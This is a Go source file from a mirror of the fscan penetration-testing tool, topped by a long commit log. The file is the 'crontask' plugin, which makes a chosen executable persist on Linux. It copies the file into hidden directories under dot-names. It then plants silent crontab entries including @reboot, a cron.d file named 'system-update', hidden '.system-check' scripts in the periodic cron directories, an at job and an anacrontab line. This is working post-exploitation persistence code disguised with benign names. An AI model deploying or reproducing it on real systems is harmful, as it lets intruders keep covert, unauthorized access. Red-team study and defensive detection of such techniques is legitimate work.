mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
* add CVE-2026-24061 detect logic (#562) * add CVE-2026-24061 detect logic * fix(telnet): 修复 errcheck 警告,统一错误处理风格 --------- Co-authored-by: ZacharyZcR <[email protected]> * fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码 - hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争 - port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁 - web_scanner.go: 删除只写不读的 fingerprintCache - webtitle.go: 移除对已删除 SetFingerprints 的调用 - keylogger.go: 删除未使用的 stopChan 和 isRunning 字段 * refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效 - RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件 - 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup, 通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁 - Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路 - ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务 - CLI 模式传 context.Background(),行为完全不变 * fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic - scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回 - smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验 * fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race - webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background(); sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争 - webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan - webpoc.go: 传递 ctx 到 WebScan - proxy/types.go: ProxyStats 增加 sync.Mutex - proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁 * fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警 Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex * fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑 - httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex - findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic - ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验 - web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试 - Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置 * fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消 - scan.go: Web API 构建 config/state 后同步到全局实例 - config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志 - reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消 - forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞 - socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞 * refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3) - 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer - RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session - Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session) - 48 个插件实现统一更新签名 - Web API 构建 ScanSession 传给 RunScan - CLI 模式通过 Initialize() 创建 session * refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4) - core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session - core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP - core/icmp.go: CheckLive/tcpProbeAlive 接入 session - 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session - 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理) - plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留 * refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5) - core/alive_scanner.go: GetFlagVars() → session.Params - core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports - common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局 - common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave - common/network.go: WrapperTcpWithTimeout 标记 Deprecated - core/ 和 plugins/ 下已无全局状态调用残留 * fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题 * fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过 * perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代 * feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报 * perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半 * fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏 * fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复 * perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min * fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报 * perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底 * fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数 * feat: Release 增加 armv5 架构支持 * chore: bump version to 2.1.3 * fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败 * fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题 * feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费 - 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON - LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题 - 支持 fscan -h xxx -silent | jq 管道用法 * fix rdp invalid random panic (#573) * restore ms17010 legacy detection and exploit (#574) * fix ms17010 legacy packet decoding (#574) * fix csv web title output (#575) * fix web result protocol output (#577) * feat: add -ntp flag to disable TCP supplementary probe * fix: skip TCP supplementary probe in icmp mode * feat: add -debug flag with file logging to fscan_debug.log * fix: resolve golangci-lint errcheck and staticcheck warnings * fix: skip proxy deep verification for SOCKS5 connections (#579) SOCKS5 protocol validates connection reachability at protocol level, deep verification was incorrectly rejecting non-banner services like SMB(445), RPC(139) and Kerberos(88). * fix: exclude timeout from scan failure rate calculation (#578) Timeout is a normal scan result when firewalls drop packets, not a scan failure. Only resource exhaustion errors count toward failure rate. * feat: flatten NDJSON output for AI agent consumption and add SKILL.md * perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时 * perf: 四项扫描性能优化 - SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积 - 服务探测超时自适应,RTT 采样约束读超时上限 - 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行 - ICMP 批量预构建包和地址,减少发送循环开销 * perf: 六项性能优化 - DNS 解析缓存:sync.Map 缓存避免重复系统调用 - 凭据测试 TCP 预检:不可达目标直接跳过全部凭据 - Web 探测 HTTP Client 复用:全局共享连接池 - 端口扫描 Bloom Filter 去重:替代 map 降低内存 - 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争 - 服务探针预解码:Init 时预编译,运行时零解码开销 * refactor: replace bloom filter with map for deduplication Bloom filter has false positive risk which can silently drop valid scan results. Map provides exact deduplication with negligible memory overhead at the scale of open ports (typically thousands, not millions). * fix: credential TCP precheck bypass proxy and pipeline goroutine leak - Skip TCP precheck when proxy is enabled, net.DialTimeout cannot reach targets behind SOCKS5/HTTP proxy - Drain stream channel on ctx cancellation to prevent EnhancedPortScan goroutine from blocking on a full channel * fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms * fix: resolve golangci-lint errcheck and staticcheck warnings --------- Co-authored-by: r00t <[email protected]>
342 lines
8.5 KiB
Go
342 lines
8.5 KiB
Go
//go:build (plugin_crontask || !plugin_selective) && linux && !no_local
|
|
|
|
package local
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"os/user"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/common/i18n"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
)
|
|
|
|
// CronTaskPlugin 定时任务插件
|
|
// 设计哲学:直接实现,删除过度设计
|
|
// - 删除复杂的继承体系
|
|
// - 直接实现持久化功能
|
|
// - 保持原有功能逻辑
|
|
type CronTaskPlugin struct {
|
|
plugins.BasePlugin
|
|
targetFile string
|
|
}
|
|
|
|
// NewCronTaskPlugin 创建计划任务持久化插件
|
|
func NewCronTaskPlugin() *CronTaskPlugin {
|
|
return &CronTaskPlugin{
|
|
BasePlugin: plugins.NewBasePlugin("crontask"),
|
|
}
|
|
}
|
|
|
|
// Scan 执行计划任务持久化 - 直接实现
|
|
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
|
config := session.Config
|
|
var output strings.Builder
|
|
|
|
if runtime.GOOS != "linux" {
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: "计划任务持久化只支持Linux平台",
|
|
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
|
}
|
|
}
|
|
|
|
// 从config获取配置
|
|
p.targetFile = config.PersistenceTargetFile
|
|
if p.targetFile == "" {
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: "必须通过 -persistence-file 参数指定目标文件路径",
|
|
Error: fmt.Errorf("未指定目标文件"),
|
|
}
|
|
}
|
|
|
|
// 检查目标文件是否存在
|
|
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
// 检查crontab是否可用
|
|
if _, err := exec.LookPath("crontab"); err != nil {
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: "crontab命令不可用",
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
output.WriteString("=== 计划任务持久化 ===\n")
|
|
output.WriteString(fmt.Sprintf("目标文件: %s\n\n", p.targetFile))
|
|
|
|
var successCount int
|
|
|
|
// 1. 复制文件到持久化目录
|
|
persistPath, err := p.copyToPersistPath()
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
|
} else {
|
|
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", persistPath))
|
|
successCount++
|
|
}
|
|
|
|
// 2. 添加用户crontab任务
|
|
err = p.addUserCronJob(persistPath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 添加用户cron任务失败: %v\n", err))
|
|
} else {
|
|
output.WriteString("✓ 已添加用户crontab任务\n")
|
|
successCount++
|
|
}
|
|
|
|
// 3. 添加系统cron任务
|
|
systemCronFiles, err := p.addSystemCronJobs(persistPath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 添加系统cron任务失败: %v\n", err))
|
|
} else {
|
|
output.WriteString(fmt.Sprintf("✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", ")))
|
|
successCount++
|
|
}
|
|
|
|
// 4. 创建at任务
|
|
err = p.addAtJob(persistPath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 添加at任务失败: %v\n", err))
|
|
} else {
|
|
output.WriteString("✓ 已添加at延时任务\n")
|
|
successCount++
|
|
}
|
|
|
|
// 5. 创建anacron任务
|
|
err = p.addAnacronJob(persistPath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("✗ 添加anacron任务失败: %v\n", err))
|
|
} else {
|
|
output.WriteString("✓ 已添加anacron任务\n")
|
|
successCount++
|
|
}
|
|
|
|
// 输出统计
|
|
output.WriteString(fmt.Sprintf("\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
|
|
|
if successCount > 0 {
|
|
common.LogSuccess(i18n.Tr("crontask_success", successCount))
|
|
}
|
|
|
|
return &plugins.Result{
|
|
Success: successCount > 0,
|
|
Output: output.String(),
|
|
Error: nil,
|
|
}
|
|
}
|
|
|
|
// copyToPersistPath 复制文件到持久化目录
|
|
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
|
|
// 选择持久化目录
|
|
persistDirs := []string{
|
|
"/tmp/.system",
|
|
"/var/tmp/.cache",
|
|
"/opt/.local",
|
|
}
|
|
|
|
// 获取用户目录
|
|
if usr, err := user.Current(); err == nil {
|
|
userDirs := []string{
|
|
filepath.Join(usr.HomeDir, ".local", "bin"),
|
|
filepath.Join(usr.HomeDir, ".cache"),
|
|
}
|
|
persistDirs = append(userDirs, persistDirs...)
|
|
}
|
|
|
|
var targetDir string
|
|
for _, dir := range persistDirs {
|
|
if err := os.MkdirAll(dir, 0755); err == nil {
|
|
targetDir = dir
|
|
break
|
|
}
|
|
}
|
|
|
|
if targetDir == "" {
|
|
return "", fmt.Errorf("无法创建持久化目录")
|
|
}
|
|
|
|
// 生成隐藏文件名
|
|
basename := filepath.Base(p.targetFile)
|
|
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
|
if p.isScriptFile() {
|
|
hiddenName += ".sh"
|
|
}
|
|
|
|
targetPath := filepath.Join(targetDir, hiddenName)
|
|
|
|
// 复制文件
|
|
err := p.copyFile(p.targetFile, targetPath)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
// 设置执行权限
|
|
_ = os.Chmod(targetPath, 0755)
|
|
|
|
return targetPath, nil
|
|
}
|
|
|
|
// copyFile 复制文件内容
|
|
func (p *CronTaskPlugin) copyFile(src, dst string) error {
|
|
sourceData, err := os.ReadFile(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(dst, sourceData, 0755)
|
|
}
|
|
|
|
// addUserCronJob 添加用户crontab任务
|
|
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
|
|
// 获取现有crontab
|
|
cmd := exec.Command("crontab", "-l")
|
|
currentCrontab, _ := cmd.Output()
|
|
|
|
// 生成新的cron任务
|
|
cronJobs := p.generateCronJobs(execPath)
|
|
newCrontab := string(currentCrontab)
|
|
|
|
for _, job := range cronJobs {
|
|
if !strings.Contains(newCrontab, execPath) {
|
|
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
|
|
newCrontab += "\n"
|
|
}
|
|
newCrontab += job + "\n"
|
|
}
|
|
}
|
|
|
|
// 应用新的crontab
|
|
cmd = exec.Command("crontab", "-")
|
|
cmd.Stdin = strings.NewReader(newCrontab)
|
|
return cmd.Run()
|
|
}
|
|
|
|
// addSystemCronJobs 添加系统cron任务
|
|
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
|
|
cronDirs := []string{
|
|
"/etc/cron.d",
|
|
"/etc/cron.hourly",
|
|
"/etc/cron.daily",
|
|
"/etc/cron.weekly",
|
|
"/etc/cron.monthly",
|
|
}
|
|
|
|
var modified []string
|
|
|
|
// 在cron.d中创建配置文件
|
|
cronFile := filepath.Join("/etc/cron.d", "system-update")
|
|
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
|
|
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
|
|
modified = append(modified, cronFile)
|
|
}
|
|
|
|
// 在每个cron目录中创建脚本
|
|
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
|
|
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
|
|
continue
|
|
}
|
|
|
|
scriptFile := filepath.Join(cronDir, ".system-check")
|
|
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
|
|
|
|
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
|
|
modified = append(modified, scriptFile)
|
|
}
|
|
}
|
|
|
|
if len(modified) == 0 {
|
|
return nil, fmt.Errorf("无法创建任何系统cron任务")
|
|
}
|
|
|
|
return modified, nil
|
|
}
|
|
|
|
// addAtJob 添加at延时任务
|
|
func (p *CronTaskPlugin) addAtJob(execPath string) error {
|
|
// 检查at命令是否可用
|
|
if _, err := exec.LookPath("at"); err != nil {
|
|
return err
|
|
}
|
|
|
|
// 创建5分钟后执行的任务
|
|
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
|
|
cmd := exec.Command("sh", "-c", atCommand)
|
|
return cmd.Run()
|
|
}
|
|
|
|
// addAnacronJob 添加anacron任务
|
|
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
|
|
anacronFile := "/etc/anacrontab"
|
|
|
|
// 检查anacrontab是否存在
|
|
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
|
|
return err
|
|
}
|
|
|
|
// 读取现有内容
|
|
content := ""
|
|
if data, err := os.ReadFile(anacronFile); err == nil {
|
|
content = string(data)
|
|
}
|
|
|
|
// 检查是否已存在
|
|
if strings.Contains(content, execPath) {
|
|
return nil
|
|
}
|
|
|
|
// 添加新任务
|
|
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
|
|
if !strings.HasSuffix(content, "\n") && content != "" {
|
|
content += "\n"
|
|
}
|
|
content += anacronLine + "\n"
|
|
|
|
return os.WriteFile(anacronFile, []byte(content), 0644)
|
|
}
|
|
|
|
// generateCronJobs 生成多种cron任务
|
|
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
|
|
baseCmd := execPath
|
|
if p.isScriptFile() {
|
|
baseCmd = fmt.Sprintf("bash %s", execPath)
|
|
}
|
|
baseCmd += " >/dev/null 2>&1"
|
|
|
|
return []string{
|
|
// 每5分钟执行一次
|
|
fmt.Sprintf("*/5 * * * * %s", baseCmd),
|
|
// 每小时执行一次
|
|
fmt.Sprintf("0 * * * * %s", baseCmd),
|
|
// 每天执行一次
|
|
fmt.Sprintf("0 0 * * * %s", baseCmd),
|
|
// 启动时执行
|
|
fmt.Sprintf("@reboot %s", baseCmd),
|
|
}
|
|
}
|
|
|
|
// isScriptFile 检查是否为脚本文件
|
|
func (p *CronTaskPlugin) isScriptFile() bool {
|
|
ext := strings.ToLower(filepath.Ext(p.targetFile))
|
|
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
|
}
|
|
|
|
// 注册插件
|
|
func init() {
|
|
RegisterLocalPlugin("crontask", func() Plugin {
|
|
return NewCronTaskPlugin()
|
|
})
|
|
}
|